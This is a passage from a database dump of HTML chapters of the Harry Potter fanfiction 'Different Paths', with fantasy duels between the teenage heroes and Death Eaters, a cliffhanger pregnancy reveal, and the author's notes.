it&#8217;?&nbsp; Why that blasted woman!&#8221;&nbsp; Horace angrily shredded the note to bits as Seth laughed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No matter,&#8221; said Voldemort.&nbsp; &#8220;I&#8217;m sure we&#8217;ll get another opportunity to study Potter&#8217;s Dark Magic Cleanser.&nbsp; Seth, go prepare for your duel.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, Mr. Voldemort.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Harry walked up to Draco.&nbsp; &#8220;Hey, are you OK?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco was a complete mess.&nbsp; His body was completely battered, cuts and bruises littered all over him.&nbsp; He also was clearly worn out, having whatever trace of Dark Magic within his body completely cleansed out.&nbsp; Despite this, Draco smiled, his first true smile, and truthfully said, &#8220;I&#8217;ve never felt better.&#8221;&nbsp; Draco took another breath and said, &#8220;That was...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The Stellar Patronus,&#8221; said Harry.&nbsp; &#8220;A patronus borne from the caster&#8217;s sheer determination to live.&nbsp; Nearly cost my life trying to learn it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Amazing Potter, you truly are the better wizard.&nbsp; Far superior to me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry chuckled.&nbsp; &#8220;Oh come now, you certainly aren&#8217;t that horrible.&nbsp; Why, the differences in our powers and abilities was about the equivalent of, um, a sheet of paper.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes,&#8221; said Draco.&nbsp; &#8220;A ridiculously thick sheet of paper.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><b>To be continued...</b></p>\n\n<p>&nbsp;</p>\n\n<p>A/N June 21<sup>st</sup> coming up too fast for my tastes.&nbsp; Of course, it makes it all the better since that means I can read Book 5 that much more quicker, but this fic is no where near done.&nbsp; And I originally wanted to finish it before the 21<sup>st</sup>.&nbsp; All well, whatever happens, happens.&nbsp; Next: Back at the Leaky Cauldron and I&#8217;m featuring Ron!</p>\n\n '),
	(33, 19, '\n\n\n\n<meta name="Generator" content="Microsoft Office HTML Filter 2.0">\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Originator" content="Microsoft Word 9">\n\n<title>Title: Different Paths (19)</title>\n\n<style>\n\n</style>\n\n\n\n<p><b>Title:</b> Different Paths (19)<br>\n\n\n<b>Author name:</b> E. C. R. Potter<br>\n\n\n<b>Author email:</b> ecrpotter@hotmail.com<br>\n\n\n<b>Category:</b> Action/Adventure<br>\n\n\n<b>Sub Category:</b> Drama<br>\n\n\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n\n\n<b>Rating:</b> PG-13<br>\n\n\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story arc.<br>\n\n\n<b>Summary:</b> Pre-OotP.&nbsp; Tom Marvolo Riddle, Harry James Potter. Two wizards, with incredibly similar beginnings, who journeyed on different paths. Such different paths that inevitably, they could only lead to a collision course. And collide, they do. H/H and D/G.</p>\n\n<p><b>DISCLAIMER:</b> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. It is also based on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics Inc., Fuji Television, Studio Gallop, and other publishers. No money is being made and no copyright or trademark infringement is intended from them either.<br>\n\n\n<b>Author notes: </b>So Order of the Phoenix has now joined the prestigious line up of Harry Potter canon, and this fic has now joined the levels of obsoleteness.&nbsp; All well, I&#8217;ll just start labeling this fic as pre-OotP.&nbsp; That should get the message out.&nbsp; After this fic is done, readers beware, because OotP has got several new plot bunnies biting me.</p>\n\n<p><b></b></p>\n\n<p><b></b></p>\n\n<p><b>Chapter 19: Big Time Super Wizard in training</b></p>\n\n<p><i></i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Stupefy!&#8221;</i> said Sirius one last time.&nbsp; The last of the small owls fell to the ground, very much unconscious.&nbsp; &#8220;There, now no more sending messages to that boss of yours.&#8221;&nbsp; Yasmin scowled at him but said nothing.</p>\n\n<p>Meanwhile, Draco was trying to struggle to his feet, yet failing miserably.&nbsp; &#8220;You shouldn&#8217;t get up yet,&#8221; said Harry.&nbsp; &#8220;The Dark Magic Cleanser strips off a lot of energy from whomever it&#8217;s used against.&nbsp; It&#8217;ll be a while before you&#8217;ll even be able to stand, let alone walk.&#8221;</p>\n\n<p>&#8220;Your concern is appreciated, Potter,&#8221; said Draco sarcastically.&nbsp; Then, more seriously, he said, &#8220;You two go on ahead without me.&nbsp; I&#8217;ll catch up as soon as I am able to.&#8221;</p>\n\n<p>&#8220;Are you sure?&#8221; asked Harry.</p>\n\n<p>&#8220;Positive.&nbsp; Now go!&#8221;</p>\n\n<p>&#8220;All right, you heard him everyone!&nbsp; Lets go!&#8221; yelled Sirius.&nbsp; He once again unceremoniously threw Yasmin over his shoulder (despite her protests) and took off down the hall.&nbsp; Harry saluted at Draco before dashing out passed Sirius.</p>\n\n<p>Draco tried to stand up once again before giving up.&nbsp; <i>&#8216;No use,&#8217;</i> he thought.<i>&nbsp; &#8216;Can&#8217;t get up now.&nbsp; Yet, strangely enough, I feel far better that I ever have in my entire life.&nbsp; I guess I can thank you for this Potter.&nbsp; And most especially, thank you, Ginny, for making my life worthwhile.&#8217;</i></p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Back at the Leaky Cauldron, things weren&#8217;t going nearly as smoothly.&nbsp; <i>&#8220;Expelliarmus!&#8221;</i> yelled Ginny.&nbsp; Her disarmer was easily deflected by Cassandra Frost with a simple flick of her wand.</p>\n\n<p>&#8220;Is that all you have?&#8221; said Cassandra in a mocking tone.&nbsp; &#8220;Really, I would&#8217;ve expected more from a member of the Order of the Phoenix.&nbsp; But on a second thought, perhaps that is what&#8217;s expected of a mere child.&#8221;</p>\n\n<p>&#8220;I&#8217;ll give you mere child!&#8221; hissed Ginny.&nbsp; She leapt forward, rolled behind Cassandra and fired a series of curses from behind.&nbsp; Cassandra simply shrugged them all off with a quick shield charm.</p>\n\n<p>Meanwhile, Ron and Hermione were standing still simply glaring at Icicle and Flame.&nbsp; Ron was starting to get impatient.&nbsp; &#8220;Come on, lets take them out already,&#8221; he hissed at Hermione, his wand starting to shake in anticipation.</p>\n\n<p>&#8220;Be patient Ron,&#8221; whispered Hermione.&nbsp; &#8220;We know absolutely nothing about these two, how they fight, how they handle battlefield pressure, any of this stuff.&nbsp; We have to let them make the first move first.&#8221;&nbsp; As she said this, Hermione chanced a quick look to Ginny, a move that was not missed by Ron.</p>\n\n<p>&#8220;Aw, little children seem to be frightened of us,&#8221; mocked Icicle.&nbsp; Ron was about to rush off and strangle Icicle without magic before Hermione stopped him.&nbsp; Icicle laughed while Flame sneered.</p>\n\n<p>&#8220;Patience, patience,&#8221; muttered Hermione.&nbsp; She chanced another glance at Ginny as she barely managed to dodge another curse thrown by Cassandra.</p>\n\n<p>&#8220;You&#8217;re worried about Ginny, aren&#8217;t you?&#8221; said Ron, knowingly.</p>\n\n<p>Hermione nodded.&nbsp; &#8220;I know she&#8217;s been taking extensive Defense lessons,&#8221; she said.&nbsp; &#8220;But she&#8217;s still a year younger than us and less experienced at fighting the dark arts than we are.&nbsp; It&#8217;s natural for me to worry.&#8221;</p>\n\n<p>&#8220;I agree,&#8221; said Ron.&nbsp; &#8220;OK Hermione, how about this?&nbsp; You go and take care of my sister by being her back up.&nbsp; I&#8217;ll take care of these two on my own.&#8221;</p>\n\n<p>&#8220;What?!&#8221; exclaimed Hermione.&nbsp; &#8220;You can&#8217;t be serious!&nbsp; You can&#8217;t take on two Death Eaters at once!&#8221;</p>\n\n<p>&#8220;Trust me,&#8221; said Ron.&nbsp; &#8220;Let me have this one moment, Hermione.&nbsp; For years, I&#8217;ve always taken the back seat, first to my brothers, than to Harry and you.&nbsp; Just this once, let me stand on my own.&nbsp; Please, do this for me.&#8221;</p>\n\n<p>Hermione still looked hesitant but she gave Ron&#8217;s hand a quick squeeze before going off.</p>\n\n<p>&#8220;Uh,&#8221; groaned Ginny as she was thrown to the ground by another curse from Cassandra.&nbsp; A second later, she was quite surprised when Hermione came up behind her and helped her to her feet.&nbsp; &#8220;What are you doing here?&#8221; she hissed.</p>\n\n<p>&#8220;I&#8217;m your backup, Ginny,&#8221; said Hermione.&nbsp; &#8220;Now stand up, we can defeat this dark witch together.&#8221;</p>\n\n<p>&#8220;You&#8217;re a fool, young one,&#8221; said Flame as her sister burst out laughing.&nbsp; &#8220;What do you plan on doing?&#8221;</p>\n\n<p>&#8220;I&#8217;ll tell you what I&#8217;m planning on doing,&#8221; said Ron.&nbsp; &#8220;Both of you, challenge me to a wizard&#8217;s duel.&nbsp; At once.&#8221;</p>\n\n<p>Icicle and Flame starred at Ron as if he were mad.&nbsp; &#8220;What?&#8221;</p>\n\n<p>&#8220;It be a lot easier for me to dispatch of both of you at once rather defeat one of you first than the back up,&#8221; said Ron, a smirk on his face.&nbsp; &#8220;Come on, there&#8217;s no Fundamental Rule against accepting more than one challenge at once.&#8221;</p>\n\n<p>&#8220;That&#8217;s because most wizards and witches have the common sense <i>not</i> to accept more than one challenge at once,&#8221; said Flame.</p>\n\n<p>&#8220;Oh come now dear sister,&#8221; said Icicle with a laugh.&nbsp; &#8220;This boy wants an invitation to an early grave, who are we to deny him one?&nbsp; Besides, I figure it is a good chance to try out our new tactic.&#8221;</p>\n\n<p>&#8220;Ah yes, the new tactic,&#8221; said Flame with a smirk.&nbsp; &#8220;Very well boy, we both challenge you to a wizard duel.&#8221;</p>\n\n<p>&#8220;All right!&nbsp; Now lets do this!&#8221; said Ron.&nbsp; He was about to charge at the sisters brandishing his wand when Icicle suddenly charged up what appeared to be some sort of freezing powers in her hands while flame conjured a blazing fire in her hands, held over her head.</p>\n\n<p>&#8220;Time for the tactic,&#8221; said Icicle.&nbsp; She pointed her hands toward the ground and sent the freezing powers forth, completely changing the ground surrounding them into ice.&nbsp; Ron had a hard time just keeping his balance.</p>\n\n<p>&#8220;What&#8217;s this?&nbsp; Just trying to throw me off balance by freezing the ground?&nbsp; My, my, my very effective,&#8221; said Ron sarcastically.</p>\n\n<p>&#8220;You think wrong boy,&#8221; said Flame, a sinister grin on her face, &#8220;this is what we were planning on doing!&#8221;&nbsp; Saying that, Flame threw the large burst fire onto the frozen ground while making a jump.&nbsp; Ron quickly shielded himself as the burst of heat and fire exploded around him.&nbsp; When he recovered, he was surprised to see that he was facing only Icicle: Flame had disappeared.</p>\n\n<p>&#8220;What?&nbsp; Where?&#8221;&nbsp; Ron suddenly heard laughter from some vicinity considerably above his head. &nbsp;He looked up and to his shock and horror, he saw Flame levitating in the air some 20 feet above their heads.&nbsp; &#8220;H-how?&#8221;</p>\n\n<p>&#8220;Not too knowledgeable about simple physics, are you boy?&#8221; said Icicle with a laugh.&nbsp; &#8220;It&#8217;s called a jet stream.&nbsp; The high temperature of my sister&#8217;s fire instantly heated up the freezing air surrounding the ground, causing the air to rise rapidly.&nbsp; The sheer intensity of our magical powers, let&#8217;s the air rise fast enough and strong enough to levitate a human body into the air.&#8221;</p>\n\n<p>&#8220;I don&#8217;t believe it,&#8221; muttered Ron.&nbsp; He didn&#8217;t have enough time to think about physics however, as Flame started raining fireballs onto Ron&#8217;s head.&nbsp; The fact that the frozen ground was so slippery made it very difficult for Ron to dodge each fireball and he barely managed to move out of the way, occasionally getting singed.</p>\n\n<p>As Ron continued dodging the fireballs, Icicle sprang forward.&nbsp; Skating on the frozen ground, Icicle created a blade of ice in her hand and slashed at Ron&#8217;s back.&nbsp; Ron screamed in pain as the blade cut a deep wound into his back.</p>\n\n<p>&#8220;Ron!&#8221; screamed Hermione, now concerned about him.&nbsp; She was just about to rush to his side when he raised his hand toward her.</p>\n\n<p>&#8220;Don&#8217;t Hermione,&#8221; he said.&nbsp; &#8220;I can do this.&nbsp; Just continue watching over Ginny.&#8221;&nbsp; Hermione nodded and turned her attention back to Ginny whom was still dueling with Cassandra.</p>\n\n<p>&#8220;Aw, come on boy, accept the mudblood girl&#8217;s help,&#8221; mocked Icicle.&nbsp; She continued to keep the ground frozen as Flame&#8217;s fireballs kept her levitated in the air.</p>\n\n<p>&#8220;And break the First Fundamental Rule of Wizard Dueling, resulting in my becoming a squib?&#8221; said Ron with a raised eyebrow.&nbsp; &#8220;Fat chance.&#8221;</p>\n\n<p>&#8220;Well, your funeral then,&#8221; shrugged Icicle.&nbsp; She darted forward once again, brandishing her blade of ice.&nbsp; This time however, Ron was prepared for her.&nbsp; Just as Icicle slashed at him, Ron managed to grab her arm and pull her in front of himself, whereupon he used her as shield against one of Flame&#8217;s fireballs.</p>\n\n<p>Icicle screamed in pain as the flames engulfed her.&nbsp; Ron pushed her away and Flame landed right next to the Icicle, anger written all over her face.&nbsp; &#8220;Why you little&#8230;&#8221;</p>\n\n<p>Ron grinned.&nbsp; &#8220;Well, that&#8217;s what happens when you mess with a special type of wizard.&#8221;</p>\n\n<p>Flame starred at him incredulously.&nbsp; &#8220;A special type of wizard?&nbsp; You?&#8221;</p>\n\n<p>&#8220;That&#8217;s right,&#8221; said Ron, grinning like mad and drawing himself to his full height.&nbsp; He suddenly looked far more intimidating than before.&nbsp; &#8220;I&#8217;m Ronald Weasley, Big Time Super Wizard in training.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;Any ideas?&#8221; Ginny asked as she slumped against Hermione, clearly starting to get exhausted.</p>\n\n<p>Hermione appeared to be in deep thought.&nbsp; &#8220;There&#8217;s something different about this witch you&#8217;re fighting,&#8221; she said.&nbsp; &#8220;I don&#8217;t know for sure but she doesn&#8217;t seem to be affected by the magic most people are.&#8221;&nbsp; Her face darkened.&nbsp; &#8220;I saw her the night of the Death Eater attack on London, she killed two cowardly Death Eaters with a mere kiss.&nbsp; I&#8217;m not entirely sure if she&#8217;s human.&#8221;</p>\n\n<p>&#8220;Oh great,&#8221; moaned Ginny.&nbsp; &#8220;Out of all the Death Eaters I have to face, I pick a fight with the one that doesn&#8217;t even seem to be human.&#8221;</p>\n\n<p>&#8220;You&#8217;re going to have to go physical,&#8221; said Hermione.&nbsp; &#8220;She may be able to shrug off most curses but I&#8217;m sure she won&#8217;t be able to stand physical blows.&#8221;</p>\n\n<p>&#8220;Not a problem,&#8221; said Ginny, suddenly perking up.&nbsp; &#8220;I grew up with six older brothers, I know how to get through a physical fight.&#8221;</p>\n\n<p>&#8220;Are we quite done with the pep talk now?&#8221; said Cassandra looking quite bored.&nbsp; &#8220;I don&#8217;t exactly have all day you know.&#8221;</p>\n\n<p>&#8220;Oh, I&#8217;ll give her all day!&#8221; hissed Ginny.&nbsp; She ran straight at Cassandra.&nbsp; Cassandra leveled her wand and fired a curse at Ginny, but Ginny ducked low and slid underneath the curse, ending up behind Cassandra.&nbsp; Twisting around, Ginny landed a roundhouse kick on the backside of Cassandra&#8217;s knees, knocking her to the ground.&nbsp; Cassandra grunted in pain and rolled out of the way as Ginny tried to smash her fist into her face.&nbsp; Both duelers quickly scrambled to their feet.</p>\n\n<p>&#8220;Going physical on me now are you?&#8221; said Cassandra.&nbsp; &#8220;Well then, I must reciprocate.&#8221;&nbsp; Cassandra twirled her wand around.&nbsp; It soon grew to about the length of five feet and transformed into a make shift staff.</p>\n\n<p>Ginny was looking quite confident now, as she started hopping around on the balls of her feet like a boxer.&nbsp; &#8220;OK, I&#8217;m ready now.&nbsp; Are we going to continue?&#8221;</p>\n\n<p>&#8220;Any time you feel like it,&#8221; said Cassandra, while twirling her staff around.</p>\n\n<p>Ginny grinned and launched herself at Cassandra, intending to pummel her.&nbsp; Cassandra grappled around with the red haired girl, blocking every one of her blows.&nbsp; &#8220;Scared now?&#8221; said Ginny, her face near Cassandra&#8217;s.</p>\n\n<p>&#8220;Don&#8217;t get so cocky,&#8221; said Cassandra.&nbsp; She spread her hand underneath her staff facing Ginny&#8217;s abdomen.&nbsp; Before Ginny had a chance to react, Cassandra blasted her away with a powerful reductor curse.</p>\n\n<p>&#8220;Ginny!&#8221; screamed Hermione.&nbsp; Ginny was flung into the air and landed on the roof of one of the nearby houses, the impact of her fall causing an indent in the tiles.&nbsp; Ginny groaned at the pain of several broken ribs before falling unconscious.</p>\n\n<p>&#8220;Down goes the first dueler,&#8221; Cassandra said, twirling her staff around, &#8220;up comes the backup.&#8221;</p>\n\n<p>Hermione&#8217;s face put on an expression of determination.&nbsp; &#8220;You&#8217;ve got that right,&#8221; she said as she leveled her wand at Cassandra. &nbsp;The two girls started circling around each other.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;Big Time Super Wizard in training?&#8221; repeated Icicle, now recovered from her burns.&nbsp; The two sisters shared a look and burst out laughing.</p>\n\n<p>Ron looked annoyed.&nbsp; &#8220;Hey, I think I deserve a title,&#8221; he said.&nbsp; &#8220;After all my brothers I&#8217;d think I&#8217;d deserve one.&nbsp; Bill&#8217;s the Head Boy, Charlie&#8217;s the Quidditch star, Percy&#8217;s well&#8230;. Percy, Fred and George are the resident hell raisers, and Ginny&#8217;s the only girl.&nbsp; Heck, I mean Harry&#8217;s the Boy Who Lived.&nbsp; I think I deserve a title all for my own as well.&#8221;</p>\n\n<p>It was at that moment when Ginny was blasted onto the roof of a nearby house.&nbsp; Ron desperately fought every impulse of his to go rush to her side and kept his eyes on the sisters.</p>\n\n<p>&#8220;Oh well big words those are,&#8221; said Flame, &#8220;but big words mean nothing if you can&#8217;t back them up!&#8221;&nbsp; With that, Icicle refroze the ground and Flame once again threw a burst of fire onto the ground, propelling herself into the air.</p>\n\n<p>&#8220;OK, time for a little action,&#8221; said Ron.&nbsp; He brandished his wand, ready to hex Icicle, only to dodge more of Flame&#8217;s fireballs.&nbsp; &#8220;Oh great,&#8221; he muttered as he dodged another fireball.</p>\n\n<p>Flame laughed as se launched another fireball at Ron.&nbsp; &#8220;What&#8217;s the matter boy?&nbsp; Too pathetic to back up those big words?&#8221;</p>\n\n<p>Ron bit back the sarcastic remark he was about to make, deciding that he needed to concentrate on the task at hand.&nbsp; As he dodged all the fireballs, he thanked God that Icicle was now in no condition to use her ice blades, though he was still bleeding badly.&nbsp; That just meant that he had to take care of Flame first, before he could dispatch her sister.</p>\n\n<p><i>&#8216;Now, what to do,&#8217;</i> Ron thought as he dodged another fireball.&nbsp; <i>What would Harry do in my situation?&#8217;</i>&nbsp; Automatically, Ron&#8217;s thought process went back to Harry&#8217;s activities in the past: jumping on the back of a mountain troll to save Hermione&#8217;s life, slaying a basilisk in the Chamber of Secrets, conjuring a patronus to drive away a group of dementors, summoning his Firebolt to out-fly a dragon during the first task of the Triwizard Tournament...</p>\n\n<p><i>Triwizard...First task...summon...Firebolt...</i></p>\n\n<p>&#8220;Of course!&nbsp; Why didn&#8217;t I think about it earlier?&#8221; exclaimed Ron.</p>\n\n<p>&#8220;Whatever it is you thought of, it is far too late!&nbsp; Now burn in Hell!&#8221; exclaimed Flame.&nbsp; With a high cackle, she launched her largest fireball at Ron.</p>\n\n<p>Right before the fireball engulfed him, Ron yelled, <i>&#8220;Accio!&#8221;</i> at the top of his lungs.</p>\n\n<p>&#8220;Ron!&#8221; screamed Hermione as the fireball completely engulfed him.&nbsp; When the flames had cleared, there was no trace of Ron.</p>\n\n<p>Flame started laughing hysterically.&nbsp; &#8220;Oh my, the poor thing!&nbsp; Reduced to nothing but ashes!&nbsp; Not a single speck left!&#8221;&nbsp; Flame was clearly delighted in Ron&#8217;s demise, as was Icicle and the two sisters soon started laughing hysterically.</p>\n\n<p>But then, a voice from above her said, &#8220;I wouldn&#8217;t laugh yet!&#8221;</p>\n\n<p>&#8220;What?&#8221; exclaimed Flame as she looked upward.</p>\n\n<p>There, several feet above Flame&#8217;s head was Ron Weasley on a beat up, old broom.</p>\n\n<p>&#8220;Right before your fireball hit me, I managed to summon this broomstick,&#8221; said Ron.&nbsp; &#8220;It&#8217;s probably from that nearby second hand broom store, I don&#8217;t know and I don&#8217;t care.&nbsp; All I needed was a broom that could take me above your head.&nbsp; Can&#8217;t forget about the Third Fundamental Rule of Wizard Dueling: a dueler is allowed to use any available weapon or method of combat, so long as it isn&#8217;t denied by the Second Rule.&nbsp; And since I don&#8217;t think you can maneuver that well in the air...&#8221;</p>\n\n<p>Ron suddenly leapt off the broom, pointed his wand toward the opposite direction of Flame, and yelled, <i>&#8220;Reducto!&#8221;</i>&nbsp; The resulting explosion rocketed Ron straight toward Flame.</p>\n\n<p>&#8220;No!&#8221; screamed Flame.&nbsp; She however couldn&#8217;t maneuver out of the way as Ron rammed his fist into Flame&#8217;s face, all thoughts of &#8216;don&#8217;t strike a woman&#8217; forgotten.</p>\n\n<p>&#8220;Sister!&#8221; screamed Icicle as both Flame and Ron came hurtling to the ground.&nbsp; It was only seconds later that Icicle realized that Ron had successively managed to calculate his angle of hurtling toward the ground as he and Flame came falling right down on Icicle herself.&nbsp; When the dust had settled, Flame and Icicle were out cold on the ground, while Ron had successfully managed to use the sisters&#8217; bodies to cushion his fall.</p>\n\n<p>&#8220;And that,&#8221; said Ron as he pulled himself to his feet, &#8220;is what you get for messing with the Big Time Super Wizard in training.&#8221;</p>\n\n<p>&#8220;Ron!&#8221; said Hermione, looking up from her own duel.&nbsp; &#8220;You&#8217;re all right!&#8221;</p>\n\n<p>&#8220;Oh ho, you bet I&#8217;m all right,&#8221; said Ron, as he wobbled toward Hermione.&nbsp; &#8220;In fact, you could say,&#8221; Ron started swaying dangerously, &#8220;I&#8217;ve never felt be...&#8221; Ron suddenly fell to the ground, very much unconscious.</p>\n\n<p>&#8220;Ron!&#8221; yelled Hermione.&nbsp; She couldn&#8217;t rush to his side however, as Cassandra was completely blocking her path.</p>\n\n<p>&#8220;I personally would worry about your own health if I were you,&#8221; said Cassandra.&nbsp; &#8220;You&#8217;re a mudblood, and our Lord doesn&#8217;t tolerate mudbloods, so I will have to dispatch of you personally.&#8221;</p>\n\n<p>Hermione glared at Cassandra.&nbsp; &#8220;Oh?&nbsp; And how do you plan on dispatching me?&#8221;</p>\n\n<p>Cassandra studied her nails as if she were bored with the conversation.&nbsp; &#8220;I&#8217;d figured I&#8217;d use my special kiss on you.&nbsp; I only use my kiss on people who really deserve it.&nbsp; Mudbloods definitely fall into that catergory.&#8221;</p>\n\n<p>Hermione grimaced but kept her cool.&nbsp; She already knew from Ginny&#8217;s duel that Cassandra could shrug off most standard curses.&nbsp; And she didn&#8217;t have as much confidence in her physical abilities as Ginny did.&nbsp; She therefore would have to really use her head to defeat Cassandra Frost.</p>\n\n<p>&#8220;Well, I&#8217;m really hoping to end this duel soon so, ta-ta.&#8221;&nbsp; Cassandra rocketed straight toward Hermione, whipping her staff around.</p>\n\n<p>Hermione was completely prepared.&nbsp; As Cassandra made her first swipe at her, Hermione managed to sidestep the blow.&nbsp; She blocked a second blow with a well cast shield charm.</p>\n\n<p>&#8220;You&#8217;re good,&#8221; said Cassnadra.</p>\n\n<p>&#8220;I&#8217;ve only just started,&#8221; said Hermione.&nbsp; She muttered a quick charm that levitated several small rocks around her into the air.&nbsp; With a flick of her wand, the small rocks flew straight at Cassandra.</p>\n\n<p>Cassandra started twirling her staff around, deflecting all the rocks away.&nbsp; One of the deflected rocks hit Hermione in the shoulder and she winced in pain.&nbsp; That wince was a mistake as it was all Cassandra needed to completely close in on Hermione, much to her horror.</p>\n\n<p>&#8220;Good bye, mudblood,&#8221; said Cassandra, rubbing her hand on Hermione&#8217;s cheek.&nbsp; She started to lower her lips onto Hermione&#8217;s as Hermione stood there, paralyzed in fear.&nbsp; However, their lips had only just brushed when Cassandra&#8217;s eyes widened in shock.&nbsp; She hurriedly pushed Hermione away.&nbsp; Hermione landed on her rear end, a few feet away.</p>\n\n<p>&#8220;What?&nbsp; Why did you push me away?&#8221; asked Hermione, clearly confused.</p>\n\n<p>Cassandra didn&#8217;t answer Hermione&#8217;s question.&nbsp; Instead, she just gave Hermione a calculating look and asked, &#8220;Tell me what&#8217;s your name?&#8221;</p>\n\n<p>Taken by surprise, Hermione automatically answered, &#8220;Hermione Granger,&#8221; without thinking.</p>\n\n<p>&#8220;Well then Hermione,&#8221; said Cassandra, &#8220;I suggest you surrender now.&nbsp; I will spare your life if you do so.&#8221;</p>\n\n<p>Now Hermione was really confused.&nbsp; &#8220;Why?&#8221;</p>\n\n<p>&#8220;Because,&#8221; said Cassandra looking sorrowful, &#8220;mudblood or not, I do not give my kiss to pregnant women.&#8221;</p>\n\n<p><b>To be continued...</b></p>\n\n<p>A/N Muwahahahahaha!!!!!!!!&nbsp; How&#8217;s that for a cliffhanger huh?&nbsp; Well, there you have it, the blasted plot bunny that bit me months ago and demanded that I write it, even to the point where I included a sex scene in this fic, not something I&#8217;ve done before.&nbsp; And before any of you go on complaining about not be able to detect pregnancy after only one day, just wait for my next chapter.</p> '),
	(33, 20, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 9">\n\n<meta name="Originator" content="Microsoft Word 9">\n\n<link rel="File-List" href="./Chapter20_files/filelist.xml">\n\n<title>Title: Different Paths (20)</title>\n\n<xml> Eric Riley Normal Eric Riley 3 369 2003-08-20T06:54:00Z 2003-08-20T06:57:00Z 8 3035 17304 Portland State University 144 34 21250 9.3821 </xml>\n\n<style>\n\n</style>\n\n\n\n<p><b>Title:</b> Different Paths (20)<br>\n\n\n<b>Author name:</b>\n\n<a href="http://www.fictionalley.org/fictionalleypark/forums/member.php?action=getinfo&userid=1952">E. C. R. Potter</a><br>\n\n\n<b>Author email:</b>\n\n<a href="mailto:ecrpotter@hotmail.com">ecrpotter@hotmail.com</a><br>\n\n\n<b>Category:</b> Action/Adventure<br>\n\n\n<b>Sub Category:</b> Drama<br>\n\n\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n\n\n<b>Rating:</b> PG-13<br>\n\n\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story arc.<br>\n\n\n<b>Summary:</b> Pre-OotP.&nbsp; Tom Marvolo Riddle, Harry James Potter. Two wizards, with incredibly similar beginnings, who journeyed on different paths. Such different paths that inevitably, they could only lead to a collision course. And collide, they do.&nbsp; H/H and D/G.<br>\n\n\n<b>DISCLAIMER:</b> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. It is also based on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics Inc., Fuji Television, Studio Gallop, and other publishers. No money is being made and no copyright or trademark infringement is intended from them either.<br>\n\n\n<b>Author notes:</b> I am working toward a career change right now.&nbsp; Those whom are curious about it can read my livejournal for details at <a href="http://www.livejournal.com/users/ecrpotter">http://www.livejournal.com/users/ecrpotter</a>.&nbsp; The point is that I&#8217;m hoping to churn out these chapters at a much faster pace if I&#8217;m hoping to finish this fic before that happens.&nbsp; After that, I&#8217;ll probably be taking a short hiatus from fic writing as I work to establish myself in my new home and work.&nbsp; But trust me, I will be back and I&#8217;ll be bringing post-OotP fics with me.</p>\n\n<p><b>Chapter 20: Consequences of Love</b></p>\n\n<p>&nbsp;&#8220;Run!&#8221; someone yelled as a giant blade smashed into the building that was Auror headquarters.&nbsp; Helpless wizards and witches ran from the building screaming in terror as the 15 feet long blade continued demolishing the structure.</p>\n\n<p>&#8220;I can&#8217;t believe it,&#8221; growled Moody as he was dragged away by one of his subordinates.&nbsp; &#8220;Who would&#8217;ve thought something like this would happen?&nbsp; Like something like this would attack Auror headquarters?!&#8221;</p>\n\n<p>Somewhere from high above, Wormtail&#8217;s laughter rang out: &#8220;Ha ha ha ha ha!&nbsp; Well done Fenis!&nbsp; With Auror Headquarters demolished, no Auror would be able to lend any assistance to the Order.&nbsp; Now Fenis, off to the Leaky Cauldron to join our comrades in victory!&#8221;</p>\n\n<p>A low thunderous growl sounded as the humongous, lumbering figure that was Fenis stomped away toward the Leaky Cauldron, leaving nothing but a pile of rubble that had been Auror Headquarters.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;Pregnant?&#8221; whispered Hermione, her eyes wide in disbelief.&nbsp; The idea seemed surreal.&nbsp; 